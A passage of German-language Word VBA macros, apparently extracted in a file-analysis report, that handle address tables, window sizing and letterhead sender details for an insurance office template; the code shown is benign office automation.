WordBasic.TableInsertRow
For Zelle = 0 To 12
WordBasic.Insert AdrArr__$(dummy, Zelle)
If Zelle < 12 Then
WordBasic.NextCell
End If
Next Zelle
End If
'Aktivieren DatenFenster$
WordBasic.TableSelectTable
If WordBasic.SelInfo(15) > 2 Then
WordBasic.TableSort Order:=0, FieldNum:=4, _
Type:=0, Order2:=0, FieldNum2:=5, _
Type2:=0, DontSortHdr:=1
End If
'Exit:
End Sub
'----------------------------Beenden----------------
Private Function Beenden()
Dim n
n = WordBasic.MsgBox("Wollen Sie tatsächlich abbrechen", "Adressen-Verwaltung", 32 + 4)
If n = -1 Then
Fehlerwert = 2
' DateiAllesSchließen 2
' DateiNeuStandard
Beenden = 1
Else
Beenden = 0
End If
End Function
Attribute VB_Name = "BriefStarten"
Public Sub main()
Attribute main.VB_Description = "neuer CD-Brief"
Attribute main.VB_ProcData.VB_Invoke_Func = "Normal.BriefStarten.MAIN"
WordBasic.FileNew NewTemplate:=0, Template:="CDBRIEF"
End Sub
Attribute VB_Name = "DocMinimize"
Public Sub main() '******** WINMAX.DOT: DocMinimize ********
Attribute main.VB_Description = "Makes a document window its smallest possible size and moves it to the bottom right corner of the screen"
Attribute main.VB_ProcData.VB_Invoke_Func = "Normal.DocMinimize.MAIN"
Dim WinWd
Dim WinHt
'**************************************************************
'* Verkleinert ein Dokument-Fenster auf die kleinste mögliche Größe und *
'* verschiebt es dann in die untere rechte Ecke. *
'**************************************************************
'***** Ermittelt aktuelle Fenstergröße *****
WinWd = WordBasic.Val(WordBasic.[AppInfo$](6)): WinHt = WordBasic.Val(WordBasic.[AppInfo$](7))
If WordBasic.DocMaximize() Then WordBasic.DocRestore 'Wenn Fenster Maximumgröße dann Wiederherstellen
'***** Bewege Fenster in unterer rechte Ecke des Bildschirms.
'***** Verwende Länge des Dateinamens um geringste Breite festzustellen
WordBasic.DocMove WinWd - 90 - (Len(WordBasic.[FileName$](0)) * 5) - ((WordBasic.Window() - 1) * 16), _
(WinHt - 99 - ((WordBasic.Window() - 1) * 20))
'***** Verwende Länge des Dateinamens um geringste Breite festzustellen
WordBasic.DocSize 1 + (Len(WordBasic.[FileName$](0)) * 8), 1
End Sub
Attribute VB_Name = "BenutzerNeu"
Rem BenutzerDatenNeu - Neue Version von BenutzerInfo
Rem AWB/rei, 21.02.95
Rem Letzte Änderung: 19.06.95/rei
Rem Variablen in der WIN.INI
Rem 5.05.97: Schreibstube startet nicht die Referenten-Verwaltung
Rem 30.07.97: Bre-Kennzeichen kann eingegeben werden
'11.01.2001: Anpassung für Office2000
Rem Name, Firma, Standort, Geschäftsbereich, Abteilung Adresse, Briefanschrift, Ort, Vorwahl, PLZ, Telefon, Durchwahl, Fax,
Dim sName1$, sName2$, sFirma$, sStandort$, sGbereich$, sAbteilung$, sAdresse$, sPostfach$, sOrt$, sVorwahl$, sPLZ$, sTelefon$, sDurchwahl$, sFax$, sTelegramm$, sZeichenSB$, sBreKZ$
Dim sZeichenST$, TheAddress$, sFaxDW$, Fehlerwert, BenutzerArt, sBenutzerArt$, sGeschlecht$, sBank$
Public Sub main()
Attribute main.VB_Description = "BenutzerDaten erfassen"
Attribute main.VB_ProcData.VB_Invoke_Func = "Normal.BenutzerNeu.MAIN"
Dim CrLf$
Dim Sonstiges$
sName1$ = ""
sName2$ = ""
sFirma$ = ""
sStandort$ = ""
sGbereich$ = ""
sAbteilung$ = ""
sAdresse$ = ""
sPostfach$ = ""
sOrt$ = ""
sVorwahl$ = ""
sPLZ$ = ""
sTelefon$ = ""
sDurchwahl$ = ""
sFax$ = ""
sTelegramm$ = ""
sZeichenSB$ = ""
sBreKZ$ = ""
sZeichenST$ = ""
TheAddress$ = ""
sFaxDW$ = ""
Fehlerwert = 0
BenutzerArt = 0
sBenutzerArt$ = ""
sGeschlecht$ = ""
sBank$ = ""
Fehlerwert = 0
sBenutzerArt$ = WordBasic.[GetProfileString$]("MS Word User", "BenutzerArt")
BenutzerArt = WordBasic.Val(sBenutzerArt$)
Benutzer1
If BenutzerArt < 3 Then
BenutzerArt = BenutzerArtFestlegen(BenutzerArt)
sBenutzerArt$ = WordBasic.[Right$](Str(BenutzerArt), 1)
If Fehlerwert = 1 Then GoTo Bye
End If
Select Case BenutzerArt
Case 0 'selbstschreibender Sachbearbeiter
BearbeiterDaten
Case 1 'Sekretariat
PersDatenEingeben
Case 2 'Schreibstube
SchreibstubenDaten
Case 3 'Außendienst, wird in der WIN.INI fix codiert
Außendienst
End Select
If Fehlerwert = 1 Then GoTo Bye
FirmenMaske "Firmen-Daten eingeben:"
If Fehlerwert = 1 Then GoTo Bye
Rem If BenutzerArt = 2 Then
Rem ReferentenVerwaltung
Rem End If
If Fehlerwert = 1 Then GoTo Bye
CrLf$ = Chr(13) + Chr(10)
Sonstiges$ = sTelefon$ + CrLf$ + sDurchwahl$ + CrLf$ + sFax$ + CrLf$ + sZeichenSB$ + CrLf$ + sZeichenST$
'If fConfirmSenderInfo(TheAddress$, Sonstiges$) = 0 Then
' InfoAendern
'End If
If Fehlerwert = 1 Then GoTo Bye
EinstellungenSpeichern
Bye:
WordBasic.PrintStatusBar ""
End Sub
'----------------------------Benutzer1-------------------------
Private Sub Benutzer1()
Dim sTelex$
Dim sGesellschaft$
If WordBasic.[GetProfileString$]("MS Word User", "Firma") = "" Then
PrepareUserForDlg
If BenutzerArt = 3 Then
sName1$ = "Ihr Name"
sName2$ = "Allianz Betreuer"
sAbteilung$ = ""
sStandort$ = "Geschäftsstelle"
sGbereich$ = ""
Else
sName1$ = "Name des Verantwortlichen"
sName2$ = "SekretärIn/SachbearbeiterIn"
sAbteilung$ = "Abteilung"
sStandort$ = "Generaldirektion"
sGbereich$ = "Industrie- und Großkunden"
End If
sFirma$ = "Wiener Allianz"
sAdresse$ = "Hietzinger Kai 101-105"
sPostfach$ = "1500"
sOrt$ = "Wien"
sPLZ$ = "A-"
' sPLZb$ = "1131"
sVorwahl$ = "(01)"
sTelefon$ = "87807"
' sTelex$ = "132355"
sTelegramm$ = "Allianz Wien"
Else
sName1$ = WordBasic.[GetProfileString$]("MS Word User", "Name1")
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.